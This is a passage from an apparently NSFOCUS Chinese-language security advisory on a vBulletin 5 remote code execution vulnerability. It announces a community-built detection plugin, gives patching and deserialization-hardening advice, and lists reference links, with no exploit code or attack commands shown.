另外,綠盟科技蜂巢社區啟動應急機制,已經實現vBulletin遠程代碼執行漏洞的在線檢測。在社區中,大家可以進行網絡安全掃描插件的開發及討論。從漏洞分析、代碼開發、安全交流等多方面來提升自己的能力。同時,安全人員可以方便獲取對應插件進行安全測試,共同維護互聯網安全。此次vBulletin遠程代碼執行掃描插件就是大家共同開發及快速上線的。
]10 綠盟科技蜂巢開發者社區
加入蜂巢社區,請聯系beehive@nsfocus.com,獲得注冊碼。
0x04 防護方案
使用反序列化的地方增多了數據的種類,增大了風險。因此防護方案如下:
使用反序列化結果的地方,檢測是否存在危險操作
盡量避免使用反序列化交互操作
升級補丁
對于個人用戶最簡單的辦法,就是盡快通過vBulletin官方渠道獲取升級補丁,補丁獲取地址:http://members.vbulletin.com/patches.php
0X05 引用資料
http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq
http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/
http://blog.knownsec.com/2015/11/unserialize-exploit-with-vbulletin-5-x-x-remote-code-execution/
請關注綠盟科技博客 http://blog.nsfocus.net/vbulletin-5-rce-vulnerability/
*請認真填寫需求信息,我們會在24小時內與您取得聯系。